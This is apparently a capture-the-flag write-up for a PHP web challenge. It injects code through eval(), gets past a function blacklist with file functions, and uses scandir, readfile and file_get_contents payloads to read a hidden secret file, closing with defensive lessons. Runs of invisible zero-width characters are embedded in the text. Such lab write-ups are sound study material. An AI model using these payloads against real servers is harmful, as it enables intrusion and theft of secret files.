Обходной путь (Obhodnoy Put)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-01-03 | Status: Solved Techniques: PHP eval() code injection, Function blacklist bypass using file functions, Directory enumeration with scandir(), Arbitrary file read with readfile()

Summary

URL: http://62.173.140.174:16019/

Обходной путь (Bypass Path) — HackerLab

Description

Мой друг говорит, что разработал абсолютно неуязвимое веб-приложение. Звучит как вызов...

URL: http://62.173.140.174:16019/

Analysis

Reconnaissance

Upon opening the page, a form with a code input field and placeholder echo 'hello'; was found, clearly hinting at PHP code execution.

Testing Basic Execution

code=echo 'hello';

Result: hello — code is executed via eval().

Gathering Environment Information

code=phpinfo();

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result: Full PHP environment information:

• PHP version: 8.1.2
• Server: Apache
• OS: Ubuntu

Discovering Filters

Attempting to execute system commands:

code=system('ls');
code=exec('ls');
code=shell_exec('ls');
code=passthru('ls');

Result: "STOP" page — functions are blocked.

Finding the Bypass

The task name "Обходной путь" (Bypass Path) hints that an alternative method is needed. Testing PHP file functions:

code=var_dump(scandir('/'));

Result: Works! Root directory listing obtained. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Directory Enumeration

code=var_dump(scandir('/var/www/'));

Result:

 php read-only • copy allowed Copy
array(4) {
  [0]=> string(1) "."
  [1]=> string(2) ".."
  [2]=> string(7) ".secret"
  [3]=> string(4) "html"
}

Hidden file .secret discovered!

Step 2: Reading the Flag

code=readfile('/var/www/.secret');

Result: Flag successfully read.

Alternative Reading Methods

These also work:

code=echo file_get_contents('/var/www/.secret');
code=print_r(file('/var/www/.secret'));
code=highlight_file('/var/www/.secret');
code=show_source('/var/www/.secret');

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Blocked vs Available Functions

Blocked (blacklist):

• system() - command execution
• exec() - command execution
• shell_exec() - command execution
• passthru() - command execution
• popen() - process opening
• proc_open() - process opening

Available (not in blacklist):

• scandir() - list files in directory
• readfile() - output file contents
• file_get_contents() - read file into string
• file() - read file into array
• highlight_file() / show_source() - source code highlighting
• glob() - file search by pattern
• fopen() / fread() / fclose() - low-level file reading ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Technical Information

• Vulnerability: PHP Code Injection via eval()
• Protection: Blacklist of dangerous functions (incomplete)
• Bypass: Using PHP file functions
• PHP version: 8.1.2
• Web server: Apache on Ubuntu

Lessons

1. Blacklist approach to security is ineffective — there will always be functions that were forgotten
2. eval() is always bad — even with filters, many exploitation methods remain
3. Correct approach — whitelist of allowed operations or complete rejection of eval()
4. Flag confirms the solution: REDACTED = "eval filters bypassed" ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍